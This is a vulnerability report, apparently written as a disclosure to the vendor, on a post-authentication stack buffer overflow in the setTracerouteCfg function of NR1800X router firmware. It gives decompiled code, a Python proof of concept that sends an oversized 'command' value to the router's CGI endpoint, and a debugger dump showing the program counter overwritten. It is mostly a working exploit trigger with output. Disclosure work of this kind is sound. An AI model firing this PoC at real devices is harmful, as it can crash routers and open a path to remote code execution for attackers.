

NR1800X - bof - setTracerouteCfg

Hi, we found a post-authentication stack buffer overflow at **NR1800X** (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

```
1 int __fastcall sub_420F68(int a1)
2 {
3     char *v2; // $s1
4     char *v3; // $v0
5     int v4; // $s0
6     char v6[128]; // [sp+18h] [-80h] BYREF
7
8     memset(v6, 0, sizeof(v6));
9     v2 = websGetVar(a1, "command", "www.baidu.com");
10    v3 = websGetVar(a1, "num", "");
11    v4 = atoi(v3);
12    if ( !Validity_check((int)v2) )
13    {
14        sprintf(v6, "traceroute -m %d %s&>/var/log/traceRouteLog", v4, v2);
15        doSystem(v6);
16    }
17    setResponse(&word_4370EC, "reserv");
18    return 1;
19 }
```

In function setTracerouteCfg of the file `/cgi-bin/cstecgi.cgi`, the size of command is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setTracerouteCfg", "command" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

```
V0 0x1
V1 0x1
A0 0x1
A1 0x1
A2 0x1
A3 0x0
T0 0x77518998 ← 0x6c5f5f00
T1 0x77513738 ← nop
T2 0xa21
T3 0xffffffff
T4 0xf0000000
T5 0x1
T6 0x3a22656d ('me":')
T7 0x431668 (setResponse+396) ← move $v0, $zero
T8 0x39
T9 0x775b20b8 ← lui $gp, 2
S0 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x8211b0 ← 'setTracerouteCfg'
S4 0x44b000 (set_handle_t) ← 'setLanguageCfg'
S5 0x821008 ← 0x6f74227b ('{"to')
S6 0x821140 ← 0x0
S7 0x770318b4
S8 0x770318b4
FP 0x7fa7ebc8 ← 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SP 0x7fa7ebc8 ← 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
PC 0x61616161 ('aaaa')
```

Invalid address 0x61616161

00:0000| fp sp 0x7fa7ebc8 ← 'aaa
... ↓

► f 0 61616161

Program received signal SIGSEGV (fault address 0x61616160)
pwndbg>

